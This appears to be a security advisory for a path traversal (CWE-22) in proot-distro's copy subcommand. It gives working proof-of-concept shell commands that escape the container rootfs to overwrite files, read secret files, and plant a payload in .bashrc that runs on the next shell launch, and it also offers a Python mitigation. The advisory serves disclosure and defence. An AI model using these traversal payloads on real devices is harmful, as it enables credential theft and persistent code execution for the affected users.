proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfshttps://github.com/termux/proot-distro
Maintainer: @sylirre
copy| Component | Version |
|---|---|
| proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) |
| Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) |
| Architecture | aarch64 |
| Device | Samsung A23 |
| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
All tests were performed using only self-owned files and harmless marker data.
No root was used. No third-party data was involved. The .bashrc overwritten
during testing was immediately restored.
rm -rf ~/poc
mkdir -p ~/poc
echo "ORIGINAL" > ~/poc/target.txt
echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt
proot-distro copy
~/poc/evil.txt
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt"
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification:
cat ~/poc/target.txt
→ PWNED_BY_PROOT_DISTRO
This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.
echo "TOP_SECRET" > ~/poc/secret.txt
proot-distro copy
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt"
~/poc/read_result.txt
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification:
cat ~/poc/read_result.txt
→ TOP_SECRET
This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.
.bashrc overwriteprintf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh
proot-distro copy ~/poc/payload.sh
"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc"
Observed output:
[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'
[*] Destination: '/data/data/com.termux/files/home/.bashrc'
[*] Copying files, this may take a while...
[*] Finished copying files.
Verification before restart:
cat ~/.bashrc
→
echo VULN_TRIGGERED > ~/poc/proof.txt
After closing and reopening Termux, the new shell sourced .bashrc and
executed the payload automatically:
cat ~/poc/proof.txt
→ VULN_TRIGGERED
This confirms that attacker-controlled content written into .bashrc executes
automatically on the next shell launch, resulting in persistent local code
execution within the Termux app context.
The most realistic exploitation path is a confused deputy scenario: a community
script, Termux plugin, or automated tool calls proot-distro copy with a path
derived from untrusted input. The attacker supplies a crafted container path.
The tool resolves it to a host-side location and reads or writes the file
without any boundary check. The user sees normal command output and no
indication that a file outside the container was touched.
On a real device with SSH keys or stored credentials in the Termux home
directory, the read primitive allows silent credential theft. The write
primitive to .bashrc allows persistent code execution triggered on next login.
After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:
import os
def safe_resolve(rootfs, container_path):
candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))
root = os.path.realpath(rootfs)
if candidate != root and not candidate.startswith(root + os.sep):
raise ValueError("path traversal detected: resolved path escapes rootfs")
return candidate
This check must be applied to both the source and destination paths in the
copy subcommand.
.bashrc overwritten during testing was immediately restored after
verification.{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T20:25:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
}